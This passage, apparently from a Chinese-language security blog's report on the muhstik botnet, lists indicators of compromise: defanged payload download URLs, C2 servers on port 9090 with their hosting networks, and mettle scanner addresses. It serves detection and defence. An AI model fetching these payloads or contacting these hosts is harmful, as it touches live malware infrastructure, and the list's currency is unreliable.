\nhxxp://51.254.221.129/c/nsshtfti  \nhxxp://51.254.221.129/c/nsshcron  \nhxxp://51.254.221.129/c/nsshpftp  \nhxxp://51.254.221.129/c/fbsd  \n```\n\nC2 List\n```\n139.99.101.96:9090    AS16276 OVH SAS  \n144.217.84.99:9090    AS16276 OVH SAS  \n145.239.84.0:9090    AS16276 OVH SAS  \n147.135.210.184:9090    AS16276 OVH SAS  \n142.44.163.168:9090    AS16276 OVH SAS  \n192.99.71.250:9090    AS16276 OVH SAS  \n142.44.240.14:9090    AS16276 OVH SAS  \n121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  \n66.70.190.236:9090    AS16276 OVH SAS #当前未生效  \n145.239.93.125:9090    AS16276 OVH SAS  \nirc.de-zahlung.eu:9090        #当前未生效  \n```\n\nAll IP list\n```\n121.128.171.44:9090    AS4766 Korea Telecom    #当前未生效  \n139.99.101.96:9090    AS16276 OVH SAS  \n142.44.163.168:9090    AS16276 OVH SAS  \n142.44.240.14:9090    AS16276 OVH SAS  \n144.217.84.99:9090    AS16276 OVH SAS  \n145.239.84.0:9090    AS16276 OVH SAS  \n145.239.93.125:9090    AS16276 OVH SAS  \n147.135.210.184:9090    AS16276 OVH SAS  \n162.243.211.204\t\"AS62567 DigitalOcean, LLC\"\n165.227.78.159\t\"AS14061 DigitalOcean, LLC\"\n192.99.71.250:9090    AS16276 OVH SAS  \n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n46.243.189.102\t\"AS205406 Hostio Solutions B.V.\"\n51.254.221.129\t\"AS16276 OVH SAS\"\n66.70.190.236:9090    AS16276 OVH SAS #当前未生效  \nirc.de-zahlung.eu:9090        #当前未生效\n51.254.219.137\t\"AS16276 OVH SAS\"\n```\n\n曾经在 muhstik 控制之下，但已经被安全社区清除的IP列表：\n```\n51.254.219.134\t\"AS16276 OVH SAS\"\n191.238.234.227\t\"AS8075 Microsoft Corporation\"\n```\n\n#### IoC - mettle\nC2 and Scanner\n```\n210.245.26.180\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n118.70.80.143\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}